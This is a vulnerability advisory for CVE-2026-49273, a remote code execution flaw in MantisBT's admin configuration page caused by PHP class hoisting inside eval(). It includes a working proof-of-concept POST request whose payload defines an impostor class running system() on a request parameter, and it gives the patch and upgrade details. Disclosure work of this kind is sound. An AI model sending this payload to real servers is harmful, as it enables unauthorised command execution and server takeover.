highCVE-2026-49273Jul 15, 2026

CVE-2026-49273: MantisBT Remote Code Execution via eval() Class Hoisting in adm_config_set.php

Rohit Hatagale
AI Security Researcher, SecureLayer7

A MantisBT administrator can achieve remote code execution by injecting a PHP class definition into a configuration value, because PHP hoists class declarations past the eval() return guard the app re

Packagemantisbt/mantisbt
Ecosystemcomposer
Affected>= 1.3.0, <= 2.28.3
Fixed in2.28.4

The problem

The admin 'Manage Configuration' page (adm_config_set.php) accepts user-supplied values for non-string config types (integer, float, complex). These values are passed through ConfigParser, which calls eval() with a 'return;' prefix, expecting that prefix to prevent code execution.

This assumption is wrong. PHP compiles the entire string passed to eval() before executing it. Class and function declarations are hoisted at compile time, so they are registered into the runtime even though the return statement is reached first. An injected class that shadows a name loaded later via the autoloader will be used instead of the real class, giving the attacker arbitrary code execution as the web server user.

Proof of concept

A working proof-of-concept for CVE-2026-49273 in mantisbt/mantisbt, with the exact payload below.

http
POST /adm_config_set.php HTTP/1.1
Host: target.example.com
Cookie: MANTIS_secure_session=<admin_session>
Content-Type: application/x-www-form-urlencoded

action=set&config_option=my_option&type=2&value=1%3B+class+MantisEnum+%7B+public+static+function+fromValue%28%24v%29+%7B+system%28%24_GET%5B%22cmd%22%5D%29%3B+%7D+%7D

# URL-decoded value field:
# 1; class MantisEnum { public static function fromValue($v) { system($_GET["cmd"]); } }

PHP's eval() compiles the full string before any opcode runs. Class declarations (like 'class Foo {}') are treated as compile-time declarations, not runtime statements, so 'return;' does not suppress them. The attacker picks any class name that MantisBT will instantiate after the config save request, for example MantisEnum or a similarly autoloaded class, and defines a malicious version of it in the eval'd value.

When that class is next needed, the hoisted impostor is already registered and runs the attacker's code.

The patch (commit 78c0af63) removes the eval()/Tokenizer path entirely for parsing non-string config values, replacing it with a safe non-eval approach so user input is never compiled as PHP. CWE-95 (Eval Injection) is the root cause.

The fix

Upgrade to MantisBT 2.28.4. The patch removes the eval() call from ConfigParser/Tokenizer entirely. No workaround exists on affected versions; the only mitigation prior to patching is restricting administrator account access and ensuring adm_config_set.php is not reachable from untrusted networks.

Reported by McCaulay Hudson (@_McCaulay) of watchTowr.

References: [1][2][3][4]

Related research